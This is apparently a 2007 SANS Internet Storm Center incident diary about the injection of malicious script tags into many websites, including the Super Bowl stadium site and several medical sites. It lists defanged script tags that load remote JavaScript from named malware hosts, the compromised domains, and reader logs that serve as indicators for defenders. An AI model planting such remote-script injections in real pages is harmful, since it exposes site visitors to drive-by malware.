Threat Level: green Handler on Duty: Russell Eubanks

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Super Bowl Infection - More Sites

Published: 2007-02-04
Last Updated: 2007-02-08 15:24:28 UTC
by Marcus Sachs (Version: 3)
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[See the updates below]

On Friday we reported that the Dolphins Stadium (home of the 2007 Super Bowl) was infected with a scripted pointer to malware that exploited two patchable Microsoft Windows vulnerabilities.  While doing research on that issue we uncovered many more sites that contain similar references.  Here is a list of the some of the ones we found, many have already been cleaned up but many have not.  System administrators might want to check their network flow logs for any traffic to these sites, and for any traffic to the five sites that hosted the hostile Java script.

It looks like the "1.js" intrusions happened around the first of January while the "3.js" intrusions occured near the end of January.  We cannot find any evidence of a "2.js" or "4.js" script.  In the references below, I changed the word "script" to "skript" in order to prevent any accidental mis-fires.


<skript src="http://w1c.cn/3.js"></skript>
www.nlgaming.com
www.arcchart.com


<skript src="http://dv521.com/3.js"></skript>
[multiple_sub_domains].squizzle.com
www.offshore247.com
mhmonline.com
www.citruscollege.edu
www.stariq.com
www2a.cdc.gov
www.surfersvillage.com
www.citrus.cc.ca.us
207.178.138.47





<skript src="http://bc0.cn/3.js"></skript>
https://www.massgeneral.org


<skript src="http://bc0.cn/1.js"></skript>
www.me-uk.com
www.olympusamerica.com
www.cabi-publishing.org
www.imo.org
www.pathnet.org
www.vcuhealth.org
www.medcompare.com
ymghealthinfo.org
www.zeenews.com
www.pharmabrandeurope.com
www.infogrip.com
totallydrivers.com
www.ajr.org
www.offshore247.com
www.massgeneral.org
www.nlgaming.com
www.speroforum.com
www.betterpropaganda.com
www.youandaids.org
www.cottagesdirect.com
www.plasticsmag.com
www.healthy.net
www.irinnews.org
www.pubapps.vcu.edu
www.generousgiving.org
www.doctorndtv.com
www.mcv.org
www.vcuhs.org
www.nordic-telecom.com
www.betterpropaganda.com
www.nationalmssociety.org
www.nmss.org
cityofboston.gov



<skript src="http://137wg.com/1.js"></skript>
wanniski.com
www.wilson.edu



A common theme seems to be an attack on hospital or medical care sites, although that is not completely the case.  We checked to see if this was a mass attack on one service provider but other than a lot of *.squizzle.com sites it does not appear to be this type of attack.

[UPDATE 5 Feb 07 1754Z]

A reader sent us this:

I think the 1.js problem goes back a bit further in time. I found these logs:

Fri Dec 1 10:08:44 2006: x.x.x.x -> 220.162.244.78: 54995 -> 80 GET /1.js HTTP/1.0 (bc0.cn)
Wed Dec 6 11:42:05 2006: x.x.x.x -> 220.162.244.78: 55089 -> 80 GET /1.js HTTP/1.0 (bc0.cn)
Mon Dec 11 14:17:04 2006: x.x.x.x -> 220.162.244.78: 51732 -> 80 GET /1.js HTTP/1.0 (bc0.cn)
Thu Dec 21 12:17:55 2006: x.x.x.x -> 220.162.244.78: 48628 -> 80 GET /1.js HTTP/1.0 (bc0.cn)


...which makes us curious as to when this incident started.  If you could check your logs and let us know about detections prior to December 1st 2006 we would greatly appreciate it.  We'll post an update here later today or tonight.

[UPDATE 5 Feb 07 2032Z]

More logs were sent to us showing activity as far back as mid-November.  Note the swing from 137wg.com to bc0.com to dv521.com (the site that was involved in the Dolphins Stadium incident):

Mon Nov 13 09:09:11 2006: x.x.x.x -> 61.153.58.189: 60413 -> 80 GET /1.js HTTP/1.0 (137wg.com)
Mon Nov 20 12:24:20 2006: x.x.x.x -> 61.153.58.189: 44057 -> 80 GET /1.js HTTP/1.0 (137wg.com)
Tue Nov 21 10:10:35 2006: x.x.x.x -> 61.153.58.189: 63269 -> 80 GET /1.js HTTP/1.0 (newasp.com.cn)
Fri Dec 1 10:08:44 2006: x.x.x.x -> 220.162.244.78: 54995 -> 80 GET /1.js HTTP/1.0 (bc0.cn)
Wed Dec 6 11:42:05 2006: x.x.x.x -> 220.162.244.78: 55089 -> 80 GET /1.js HTTP/1.0 (bc0.cn)
Mon Dec 11 14:17:04 2006: x.x.x.x -> 220.162.244.78: 51732 -> 80 GET /1.js HTTP/1.0 (bc0.cn)
Thu Dec 21 12:17:55 2006: x.x.x.x -> 220.162.244.78: 48628 -> 80 GET /1.js HTTP/1.0 (bc0.cn)
Thu Jan 4 16:02:18 2007: x.x.x.x -> 220.162.244.78: 34430 -> 80 GET /1.js HTTP/1.0 (bc0.cn)
Thu Jan 11 10:49:50 2007: x.x.x.x -> 205.209.132.142: 51012 -> 80 GET /1.js HTTP/1.0 (bc0.cn)
Thu Jan 11 11:07:05 2007: x.x.x.x -> 205.209.132.142: 36520 -> 80 GET /1.js HTTP/1.0 (bc0.cn)
Thu Jan 18 16:30:57 2007: x.x.x.x -> 205.209.132.142: 46649 -> 80 GET /1.js HTTP/1.0 (bc0.cn)
Sat Jan 20 12:47:03 2007: x.x.x.x -> 205.209.132.142: 39281 -> 80 GET /1.js HTTP/1.0 (bc0.cn)
Wed Jan 31 12:47:58 2007: x.x.x.x -> 205.209.141.146: 63679 -> 80 GET /3.js HTTP/1.0 (dv521.com)




Marcus H. Sachs
Director, SANS Internet Storm Center
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